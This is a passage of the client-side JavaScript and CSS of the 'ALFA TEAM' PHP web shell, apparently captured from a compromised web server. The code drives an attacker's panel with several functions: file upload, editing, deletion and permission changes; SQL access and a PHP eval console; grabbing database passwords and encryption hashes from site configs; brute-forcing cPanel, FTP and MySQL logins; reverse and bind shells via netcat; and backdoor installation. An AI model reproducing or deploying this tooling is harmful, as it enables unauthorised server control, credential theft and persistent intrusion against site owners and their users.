#67ABDF;}.main_green_perm{color: #25ff00;}.main_red_perm{color: #FF0000;}.main_white_perm{color: #FFFFFF;}.beetween_perms{color: #FFFFFF;}.main .actions{color: #FFFFFF;}.minimized-wrapper{background-color: #0e304a;}.minimized-text{color: #f5deb3;}.editor-explorer,.editor-modal{border: 2px solid #0e304a;}.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}.editor-header{background-color: rgba(21, 66, 88, 0.93);}.editor-path{color: #00ff7f;}.close-button, .editor-minimize{background-color: #1d5673;}.editor_actions{color: #FFFFFF;}.editor_file_info_vars{color: #FFFFFF;}.filestools{color: #67ABDF;}.hheader-text,.history-clear{color: #14ff07;}.editor-file-name{color: #03b3a3;}.is_active{background-color: rgba(49, 55, 93, 0.77);}.file-holder > .history:hover{background-color: #646464;}input[type=text],textarea{border: 1px solid #0E304A}input[type=text],textarea{color: #999999;}input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}select{border: 1px solid #0E304A}select{color: #FFFFEE;}select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}input[type=submit],.button,#addup{border: 1px solid #27979B;}input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}.ml1{color: #67ABDF;}.ml1{border: 1px solid #0E304A;}.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}.inputfile strong{background-color: #0E304A;}.inputfile strong{color: #FFFFFF;}.inputfile span{color: #25ff00;}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}.up_bar{background-color: #00ff00;}.mysql_tables{color: #00FF00;}.mysql_table_count{color: #67ABDF;}.copyright{color: #dfff00;}*::-webkit-scrollbar-thumb{background-color: #1e82b5;}*::-webkit-scrollbar-track{background-color: #000115;}
</style><script type="text/javascript">
var c_ = '/var/www/html/';
var a_ = 'FilesMan2';
var charset_ = 'Windows-1251';
var islinux = true;
var post_encryption_mode = false;var alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\"header_pwd\" onclick=\"g('FilesMan','/');\" path='/' href='#action=fileman&path=/'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\"g('FilesMan','"+r+l[i]+"/');\" path='"+r+l[i]+"/' href='#action=fileman&path="+r+l[i]+'/\' class="header_pwd">'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id='"+s+"' class='up_bar'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname='"+n+"']").parentElement.parentElement.parentElement.remove()}catch(e){}l+='<tr class="fmanager-row" id="tr_row_'+r+'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'+n+'" class="chkbx" id="checkbox'+r+'"><label for="checkbox'+r+'"></label></div></td><td id="td_row_'+r+'">'+p+'<div style="position:relative;display:inline-block;bottom:12px;"><a row="'+r+'" id="id_'+r+'" class="main_name" onclick="editor(\''+s+"','auto','','','','file');\" href=\"#action=fileman&path="+c_+"&file="+s+'" fname="'+n+'" ftype="file" path="'+c_+'" opt_title="">'+n+'</a></div></td><td><span style="font-weight:unset;" class="main_size">'+c+'</span></td><td><span style="font-weight:unset;" class="main_modify">'+_+'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'+u+'</span></td><td><a id="id_chmode_'+r+'" href="javascript:void(0)" onclick="editor(\''+s+"','chmod','','','','file')\">"+f+'</a></td><td><a id="id_rename_'+r+'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'rename','','','','file')\">R</a> <a id=\"id_touch_"+r+'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'touch','','','','file')\">T</a> <a id=\"id_edit_"+r+'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''+s+"', 'edit','','','','file')\">E</a> <a id=\"id_download_"+r+'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''+n+"', 'download')\">D</a><a id=\"id_delete_"+r+'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '+s+" # ?'); chk ? g('FilesMan',null,'delete', '"+s+"') : '';\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\/\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\/\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id='loader_"+e+'\' class="options-loader-holder"><div parent="'+e+'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">ALFA TEAM</div><div class="alfa-ajax-error"></div><img src=\'http://solevisible.com/images/loader.svg\'></div>')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"¤t_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color='red'>>></font> ` button and run ` <font color='red'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML='<label class="inputfile" for="'+e+'"><span id="__fnameup'+upcount+'"></span> <strong> Choose a file</strong></label><input id="'+e+'" type="file" name="f[]" onChange="handleup(this,'+upcount+');" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\./g,"\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick='editorTabController(this);' opt_id='"+b+"' id='tab_"+b+"' class='editor-tab-name editor-tab-active'>"+decodeURIComponent(e)+" <img opt_id='"+b+"' onclick='closeEditorContent(this,event);return false;' title='[close]' src='http://solevisible.com/icons/menu/delete.svg'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class='editor-contents editor-content-active' id='"+b+"'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id='"+e+"' class='history' onClick='reopen(this);'><div class='editor-icon'>"+loadType(a,i,e)+"</div><div class='editor-file-name'>"+a+"</div></div><div class='history-close' onClick='removeHistory(\""+e+"\");'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function 